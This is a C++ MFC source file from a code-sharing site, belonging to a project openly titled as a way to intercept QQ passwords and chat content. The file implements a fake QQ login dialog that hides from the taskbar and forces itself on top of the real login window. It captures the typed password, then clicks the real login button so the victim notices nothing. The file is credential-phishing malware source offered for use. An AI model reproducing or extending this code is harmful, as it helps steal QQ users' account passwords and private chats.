gusucode.com > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴 > 如何截取QQ密码和聊天内容、去掉QQ广告栏、添加QQ尾巴/RemoteThreadMateQQ/DlgSimuQQLoginWindow.cpp
// DlgSimuQQLoginWindow.cpp : implementation file // #include "stdafx.h" #include "DlgSimuQQLoginWindow.h" #include "RemoteThreadMateQQDlg.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // CDlgSimuQQLoginWindow dialog CDlgSimuQQLoginWindow::CDlgSimuQQLoginWindow(CWnd* pParent /*=NULL*/) : CDialog(CDlgSimuQQLoginWindow::IDD, pParent) { //{{AFX_DATA_INIT(CDlgSimuQQLoginWindow) m_csQQLocalPassword = _T(""); //}}AFX_DATA_INIT } void CDlgSimuQQLoginWindow::SetParameter ( LPVOID lpRemoteThreadMateQQDlg, HWND hWndQQLoginWindow, t_FindQQLoginInfoPara &tFindQQLoginInfoPara ) { m_lpRemoteThreadMateQQDlg = lpRemoteThreadMateQQDlg; m_hWndQQLoginWindow = hWndQQLoginWindow; memcpy ( &m_tFindQQLoginInfoPara, &tFindQQLoginInfoPara, sizeof(t_FindQQLoginInfoPara) ); } void CDlgSimuQQLoginWindow::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CDlgSimuQQLoginWindow) DDX_Text(pDX, IDC_EDIT_QQLocalPassword, m_csQQLocalPassword); //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CDlgSimuQQLoginWindow, CDialog) //{{AFX_MSG_MAP(CDlgSimuQQLoginWindow) ON_WM_DESTROY() //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CDlgSimuQQLoginWindow message handlers BOOL CDlgSimuQQLoginWindow::OnInitDialog() { CDialog::OnInitDialog(); // 不显示在任务栏 ::SetWindowLong(GetSafeHwnd(), GWL_EXSTYLE, WS_EX_TOOLWINDOW); // 总在最前面 SetWindowPos ( &CWnd::wndTopMost, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE|SWP_SHOWWINDOW ); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE } void CDlgSimuQQLoginWindow::OnDestroy() { UpdateData (); CDialog::OnDestroy(); } void CDlgSimuQQLoginWindow::OnOK () { if ( ::IsWindow(m_hWndQQLoginWindow) ) { ::SendMessage ( m_hWndQQLoginWindow, WM_COMMAND, WM_COMMAND_USER_ClickLoginButton, NULL ); } }